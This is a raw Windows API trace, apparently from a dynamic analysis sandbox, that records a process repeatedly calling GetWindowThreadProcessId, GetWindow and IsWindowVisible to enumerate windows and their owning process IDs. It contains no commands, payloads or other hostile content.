[0260.348] GetWindowThreadProcessId (in: hWnd=0x1005a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0260.349] GetWindowThreadProcessId (in: hWnd=0x10056, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0260.349] GetWindowThreadProcessId (in: hWnd=0x100fa, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0260.349] GetWindowThreadProcessId (in: hWnd=0x500a0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0260.349] GetWindowThreadProcessId (in: hWnd=0x10092, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0260.349] GetWindowThreadProcessId (in: hWnd=0x102d4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xf8c
[0260.349] GetWindowThreadProcessId (in: hWnd=0x102ca, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4e4
[0260.349] GetWindowThreadProcessId (in: hWnd=0x1026c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xa14
[0260.349] GetWindowThreadProcessId (in: hWnd=0x102e0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0260.349] GetWindow (hWnd=0x102e0, uCmd=0x4) returned 0x0
[0260.349] IsWindowVisible (hWnd=0x102e0) returned 0
[0260.349] GetWindowThreadProcessId (in: hWnd=0x102e6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0260.349] GetWindow (hWnd=0x102e6, uCmd=0x4) returned 0x0
[0260.349] IsWindowVisible (hWnd=0x102e6) returned 0
[0260.350] GetWindowThreadProcessId (in: hWnd=0x102e2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0260.350] GetWindow (hWnd=0x102e2, uCmd=0x4) returned 0x0
[0260.350] IsWindowVisible (hWnd=0x102e2) returned 0
[0260.350] GetWindowThreadProcessId (in: hWnd=0x102de, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0260.350] GetWindow (hWnd=0x102de, uCmd=0x4) returned 0x0
[0260.350] IsWindowVisible (hWnd=0x102de) returned 0
[0260.350] GetWindowThreadProcessId (in: hWnd=0x102dc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0260.350] GetWindow (hWnd=0x102dc, uCmd=0x4) returned 0x0
[0260.350] IsWindowVisible (hWnd=0x102dc) returned 0
[0260.350] GetWindowThreadProcessId (in: hWnd=0x302d0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xe68
[0260.350] GetWindowThreadProcessId (in: hWnd=0x4015e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x2c4
[0260.350] GetWindowThreadProcessId (in: hWnd=0x50116, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x2c4
[0260.350] GetWindowThreadProcessId (in: hWnd=0x6011a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x3d4
[0260.350] GetWindowThreadProcessId (in: hWnd=0x900a6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0260.351] GetWindowThreadProcessId (in: hWnd=0x300c6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0260.351] GetWindowThreadProcessId (in: hWnd=0x400d0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0260.351] GetWindowThreadProcessId (in: hWnd=0x400f0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0260.351] GetWindowThreadProcessId (in: hWnd=0x300de, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0260.351] GetWindowThreadProcessId (in: hWnd=0x300ca, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0260.351] GetWindowThreadProcessId (in: hWnd=0x400c4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0260.351] GetWindowThreadProcessId (in: hWnd=0x300ac, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0260.351] GetWindowThreadProcessId (in: hWnd=0x10268, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xa04
[0260.351] GetWindowThreadProcessId (in: hWnd=0x10264, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9f4
[0260.351] GetWindowThreadProcessId (in: hWnd=0x10260, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9e4
[0260.351] GetWindowThreadProcessId (in: hWnd=0x1025c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9d4
[0260.352] GetWindowThreadProcessId (in: hWnd=0x10258, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9c4
[0260.352] GetWindowThreadProcessId (in: hWnd=0x10254, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9b4
[0260.352] GetWindowThreadProcessId (in: hWnd=0x10250, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9a4
[0260.352] GetWindowThreadProcessId (in: hWnd=0x1024c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x994
[0260.352] GetWindowThreadProcessId (in: hWnd=0x10248, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x984
[0260.352] GetWindowThreadProcessId (in: hWnd=0x10244, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x974
[0260.352] GetWindowThreadProcessId (in: hWnd=0x10240, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x964
[0260.352] GetWindowThreadProcessId (in: hWnd=0x1023c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x954
[0260.352] GetWindowThreadProcessId (in: hWnd=0x10238, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x944
[0260.352] GetWindowThreadProcessId (in: hWnd=0x10234, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x934
[0260.352] GetWindowThreadProcessId (in: hWnd=0x10230, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x924
[0260.353] GetWindowThreadProcessId (in: hWnd=0x1022c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x914
[0260.353] GetWindowThreadProcessId (in: hWnd=0x10228, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x904
[0260.353] GetWindowThreadProcessId (in: hWnd=0x10224, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8f4
[0260.353] GetWindowThreadProcessId (in: hWnd=0x10220, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8e4
[0260.353] GetWindowThreadProcessId (in: hWnd=0x1021c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8d4
[0260.353] GetWindowThreadProcessId (in: hWnd=0x10218, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8c4
[0260.353] GetWindowThreadProcessId (in: hWnd=0x10214, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8b4
[0260.353] GetWindowThreadProcessId (in: hWnd=0x10210, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8a4
[0260.353] GetWindowThreadProcessId (in: hWnd=0x1020c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x894
[0260.354] GetWindowThreadProcessId (in: hWnd=0x10208, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x884
[0260.354] GetWindowThreadProcessId (in: hWnd=0x10204, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x874
[0260.354] GetWindowThreadProcessId (in: hWnd=0x10200, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x864
[0260.354] GetWindowThreadProcessId (in: hWnd=0x101fc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x854
[0260.354] GetWindowThreadProcessId (in: hWnd=0x101f8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x844
[0260.354] GetWindowThreadProcessId (in: hWnd=0x101f4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x834
[0260.354] GetWindowThreadProcessId (in: hWnd=0x101f0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x824
[0260.354] GetWindowThreadProcessId (in: hWnd=0x101ec, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x814
[0260.354] GetWindowThreadProcessId (in: hWnd=0x101e8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x804
[0260.354] GetWindowThreadProcessId (in: hWnd=0x101e4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5a8
[0260.355] GetWindowThreadProcessId (in: hWnd=0x101e0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x32c
[0260.355] GetWindowThreadProcessId (in: hWnd=0x101dc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x51c
[0260.355] GetWindowThreadProcessId (in: hWnd=0x101d8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x634
[0260.355] GetWindowThreadProcessId (in: hWnd=0x101d4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5c4
[0260.355] GetWindowThreadProcessId (in: hWnd=0x101d0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x418
[0260.355] GetWindowThreadProcessId (in: hWnd=0x101cc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x244
[0260.355] GetWindowThreadProcessId (in: hWnd=0x101c8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x730
[0260.355] GetWindowThreadProcessId (in: hWnd=0x101c4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x640
[0260.355] GetWindowThreadProcessId (in: hWnd=0x101c0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x670
[0260.355] GetWindowThreadProcessId (in: hWnd=0x101bc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7d0
[0260.355] GetWindowThreadProcessId (in: hWnd=0x101b8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x754
[0260.356] GetWindowThreadProcessId (in: hWnd=0x101b4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x694
[0260.356] GetWindowThreadProcessId (in: hWnd=0x101b0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x704
[0260.356] GetWindowThreadProcessId (in: hWnd=0x101ac, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xc0
[0260.356] GetWindowThreadProcessId (in: hWnd=0x101a6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5ac
[0260.356] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7f4
[0260.356] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x774
[0260.356] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x304
[0260.415] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x544
[0260.415] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7c4
[0260.415] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x138
[0260.415] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x788
[0260.415] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7c0
[0260.415] GetWindowThreadProcessId (in: hWnd=0x10182, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x114
[0260.415] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x1c0
[0260.416] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x23c
[0260.416] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x560
[0260.416] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x564
[0260.416] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7a8
[0260.416] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x434
[0260.416] GetWindowThreadProcessId (in: hWnd=0x30164, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x71c
[0260.416] GetWindowThreadProcessId (in: hWnd=0x30158, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f0
[0260.416] GetWindowThreadProcessId (in: hWnd=0x1014e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0260.416] GetWindowThreadProcessId (in: hWnd=0x1014c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x50c
[0260.416] GetWindowThreadProcessId (in: hWnd=0x20142, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0260.417] GetWindowThreadProcessId (in: hWnd=0x10136, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x50c
[0260.417] GetWindowThreadProcessId (in: hWnd=0x1012e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0260.417] GetWindowThreadProcessId (in: hWnd=0x10124, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f0
[0260.417] GetWindowThreadProcessId (in: hWnd=0x200d6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f0
[0260.417] GetWindowThreadProcessId (in: hWnd=0x200a8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x58c
[0260.417] GetWindowThreadProcessId (in: hWnd=0x1010c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x578
[0260.417] GetWindowThreadProcessId (in: hWnd=0x10108, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0260.417] GetWindowThreadProcessId (in: hWnd=0x10102, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x530
[0260.417] GetWindowThreadProcessId (in: hWnd=0x50094, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0260.417] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x508
[0260.417] GetWindowThreadProcessId (in: hWnd=0x10088, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0260.418] GetWindowThreadProcessId (in: hWnd=0x10084, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f4
[0260.418] GetWindowThreadProcessId (in: hWnd=0x1007c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0260.418] GetWindowThreadProcessId (in: hWnd=0x1006a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0260.418] GetWindowThreadProcessId (in: hWnd=0x20020, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x794
[0260.418] GetWindowThreadProcessId (in: hWnd=0x10066, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0260.418] GetWindowThreadProcessId (in: hWnd=0x10052, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0260.418] GetWindowThreadProcessId (in: hWnd=0x1004a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0260.418] GetWindowThreadProcessId (in: hWnd=0x20046, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0260.418] GetWindowThreadProcessId (in: hWnd=0x30044, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x448
[0260.419] GetWindowThreadProcessId (in: hWnd=0x20018, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x778
[0260.419] GetWindowThreadProcessId (in: hWnd=0x100f2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0260.419] GetWindowThreadProcessId (in: hWnd=0x3013e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x538
[0260.419] GetWindowThreadProcessId (in: hWnd=0x10058, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0260.419] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0260.420] GetWindowThreadProcessId (in: hWnd=0x102d6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xf9c
[0260.420] GetWindowThreadProcessId (in: hWnd=0x102cc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x808
[0260.420] GetWindowThreadProcessId (in: hWnd=0x1026e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xa14
[0260.420] GetWindowThreadProcessId (in: hWnd=0x102e4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0260.420] GetWindow (hWnd=0x102e4, uCmd=0x4) returned 0x102e2
[0260.420] GetWindowThreadProcessId (in: hWnd=0x150270, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xe68
[0260.420] GetWindowThreadProcessId (in: hWnd=0x50114, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x2c4
[0260.420] GetWindowThreadProcessId (in: hWnd=0x4011e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x3d4
[0260.421] GetWindowThreadProcessId (in: hWnd=0x1026a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xa04
[0260.421] GetWindowThreadProcessId (in: hWnd=0x10266, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9f4
[0260.421] GetWindowThreadProcessId (in: hWnd=0x10262, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9e4
[0260.421] GetWindowThreadProcessId (in: hWnd=0x1025e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9d4
[0260.421] GetWindowThreadProcessId (in: hWnd=0x1025a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9c4
[0260.421] GetWindowThreadProcessId (in: hWnd=0x10256, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9b4
[0260.421] GetWindowThreadProcessId (in: hWnd=0x10252, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9a4
[0260.421] GetWindowThreadProcessId (in: hWnd=0x1024e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x994
[0260.421] GetWindowThreadProcessId (in: hWnd=0x1024a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x984
[0260.422] GetWindowThreadProcessId (in: hWnd=0x10246, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x974
[0260.422] GetWindowThreadProcessId (in: hWnd=0x10242, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x964
[0260.422] GetWindowThreadProcessId (in: hWnd=0x1023e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x954
[0260.422] GetWindowThreadProcessId (in: hWnd=0x1023a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x944
[0260.422] GetWindowThreadProcessId (in: hWnd=0x10236, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x934
[0260.422] GetWindowThreadProcessId (in: hWnd=0x10232, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x924
[0260.422] GetWindowThreadProcessId (in: hWnd=0x1022e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x914
[0260.422] GetWindowThreadProcessId (in: hWnd=0x1022a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x904
[0260.422] GetWindowThreadProcessId (in: hWnd=0x10226, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8f4
[0260.423] GetWindowThreadProcessId (in: hWnd=0x10222, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8e4
[0260.423] GetWindowThreadProcessId (in: hWnd=0x1021e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8d4
[0260.423] GetWindowThreadProcessId (in: hWnd=0x1021a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8c4
[0260.423] GetWindowThreadProcessId (in: hWnd=0x10216, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8b4
[0260.423] GetWindowThreadProcessId (in: hWnd=0x10212, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8a4
[0260.423] GetWindowThreadProcessId (in: hWnd=0x1020e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x894
[0260.423] GetWindowThreadProcessId (in: hWnd=0x1020a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x884
[0260.423] GetWindowThreadProcessId (in: hWnd=0x10206, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x874
[0260.423] GetWindowThreadProcessId (in: hWnd=0x10202, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x864
[0260.424] GetWindowThreadProcessId (in: hWnd=0x101fe, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x854
[0260.424] GetWindowThreadProcessId (in: hWnd=0x101fa, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x844
[0260.424] GetWindowThreadProcessId (in: hWnd=0x101f6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x834
[0260.424] GetWindowThreadProcessId (in: hWnd=0x101f2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x824
[0260.424] GetWindowThreadProcessId (in: hWnd=0x101ee, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x814
[0260.424] GetWindowThreadProcessId (in: hWnd=0x101ea, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x804
[0260.424] GetWindowThreadProcessId (in: hWnd=0x101e6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5a8
[0260.424] GetWindowThreadProcessId (in: hWnd=0x101e2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x32c
[0260.424] GetWindowThreadProcessId (in: hWnd=0x101de, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x51c
[0260.425] GetWindowThreadProcessId (in: hWnd=0x101da, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x634
[0260.425] GetWindowThreadProcessId (in: hWnd=0x101d6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5c4
[0260.425] GetWindowThreadProcessId (in: hWnd=0x101d2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x418
[0260.425] GetWindowThreadProcessId (in: hWnd=0x101ce, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x244
[0260.425] GetWindowThreadProcessId (in: hWnd=0x101ca, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x730
[0260.425] GetWindowThreadProcessId (in: hWnd=0x101c6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x640
[0260.425] GetWindowThreadProcessId (in: hWnd=0x101c2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x670
[0260.425] GetWindowThreadProcessId (in: hWnd=0x101be, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7d0
[0260.425] GetWindowThreadProcessId (in: hWnd=0x101ba, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x754
[0260.425] GetWindowThreadProcessId (in: hWnd=0x101b6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x694
[0260.426] GetWindowThreadProcessId (in: hWnd=0x101b2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x704
[0260.426] GetWindowThreadProcessId (in: hWnd=0x101ae, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xc0
[0260.426] GetWindowThreadProcessId (in: hWnd=0x101a8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5ac
[0260.426] GetWindowThreadProcessId (in: hWnd=0x101a4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7f4
